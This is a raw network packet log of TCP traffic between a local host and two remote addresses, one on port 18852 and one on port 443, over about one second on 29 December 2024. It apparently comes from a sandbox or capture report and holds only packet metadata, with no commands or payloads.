Dec 29, 2024 09:02:06.737251043 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.737313986 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.750814915 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.750832081 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.750909090 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.750936985 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.750983000 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.786221981 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.786247969 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.786308050 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.786330938 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.786356926 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.786384106 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.791882992 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.791907072 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.791949034 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.791964054 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.792015076 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.792016029 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.797466040 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.797482014 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.797558069 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.797574043 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.797621012 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.803147078 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.803160906 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.803219080 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.803235054 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.803283930 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.808129072 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.808145046 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.808192968 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.808213949 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.808240891 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.808262110 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.813421965 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.813437939 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.813520908 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.813536882 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.814948082 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.866013050 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.866229057 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.866286039 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.868633986 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.868747950 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.868809938 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.874015093 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.874124050 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.874174118 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.879396915 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.879488945 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.879540920 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.884771109 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.884907007 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.884970903 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.890147924 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.890244961 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.890304089 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.895488024 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.895607948 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.895668983 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.900866985 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.900974035 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.901027918 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.902653933 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.902676105 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.902739048 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.902776957 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.902818918 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.903769016 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.906157970 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.906280994 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.906325102 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.911566019 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.911724091 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.911781073 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.916893005 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.916996956 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.917051077 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.922245026 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.922353029 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.922888994 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.927894115 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.927927971 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.927983999 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.932966948 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.933048964 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.933281898 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.938333035 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.938483953 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.938550949 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.943115950 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.943134069 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.943226099 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.943243027 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.943691015 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.943759918 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.943809032 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.947510958 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.949073076 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.949209929 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.951778889 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.954459906 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.954593897 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.954654932 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.959836960 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.959942102 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.960000992 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.965202093 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.965317965 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.965392113 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:06.970524073 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:06.979060888 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.979080915 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.979131937 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.979149103 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.979178905 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.979197025 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.986999035 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.987032890 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.987103939 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.987119913 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.987149000 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.987169981 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.989597082 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.989614010 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.989686012 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.989701986 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.991789103 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.995250940 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.995268106 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.995345116 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.995366096 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:06.995388985 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:06.995771885 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.000293016 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.000308990 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.000366926 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.000381947 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.000473022 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.006232023 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.006290913 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.006309986 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.006330013 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.006359100 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.006378889 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.012983084 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:07.074311018 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:07.074351072 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:07.074405909 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:07.076309919 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:07.076392889 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:07.076447010 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:07.079457998 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:07.079550982 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:07.079605103 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:07.083488941 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:07.083610058 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:07.083662033 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:07.087580919 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:07.087696075 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:07.087747097 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:07.091599941 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:07.091710091 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:07.091753960 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:07.094651937 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.094671011 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.094734907 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.094758987 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.094774008 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.094795942 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.095490932 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:07.095603943 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:07.095649004 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:07.099354029 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:07.099483967 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:07.099526882 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:07.103178978 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:07.103280067 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:07.103323936 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:07.106986046 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:07.107105970 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:07.107148886 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:07.110810995 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:07.110934973 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:07.110989094 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:07.114592075 CET	18852	49736	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:07.114665985 CET	49736	18852	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:07.135667086 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.135688066 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.135742903 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.135761976 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.135776997 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.135822058 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.170798063 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.170823097 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.170874119 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.170886040 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.170898914 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.170926094 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.176409960 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.176426888 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.176485062 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.176493883 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.176645041 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.181966066 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.181988001 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.182028055 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.182035923 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.182051897 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.182071924 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.186958075 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.186974049 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.187026024 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.187033892 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.187082052 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.192657948 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.192676067 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.192729950 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.192738056 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.192780018 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.197937965 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.197957993 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.197999001 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.198005915 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.198029995 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.198045015 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.286751032 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.286772013 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.286837101 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.286875010 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.287487984 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.327472925 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.327490091 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.327534914 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.327548981 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.327572107 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.327590942 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.363090038 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.363106012 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.363167048 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.363173008 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.363321066 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.368104935 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.368119955 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.368155003 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.368160963 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.368181944 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.368199110 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.373744011 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.373759031 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.373790979 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.373795986 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.373821020 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.373838902 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.379333973 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.379348993 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.379390001 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.379395962 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.379460096 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.384983063 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.384999037 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.385051012 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.385056973 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.385155916 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.390288115 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.390302896 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.390348911 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.390355110 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.390398026 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.478821993 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.478841066 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.478876114 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.478884935 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.478910923 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.478925943 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.519418955 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.519434929 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.519473076 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.519495010 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.519511938 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.519530058 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.557027102 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.557043076 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.557095051 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.557101965 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.557203054 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.562726021 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.562741995 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.562793016 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.562799931 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.562833071 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.567706108 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.567719936 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.567766905 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.567773104 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.567840099 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.573287010 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.573302031 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.573342085 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.573348045 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.573379993 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.573388100 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.578669071 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.578682899 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.578723907 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.578730106 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.578756094 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.578772068 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.584265947 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.584280968 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.584331989 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.584355116 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.585469007 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.671722889 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.671751976 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.671833038 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.671895981 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.671958923 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.711612940 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.711635113 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.711693048 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.711711884 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.711771011 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.749223948 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.749248981 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.749294996 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.749313116 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.749341965 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.749392033 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.754909039 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.754925013 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.754971981 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.754987001 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.755016088 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.755037069 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.759984016 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.760004997 CET	443	49735	149.129.12.34	192.168.2.4
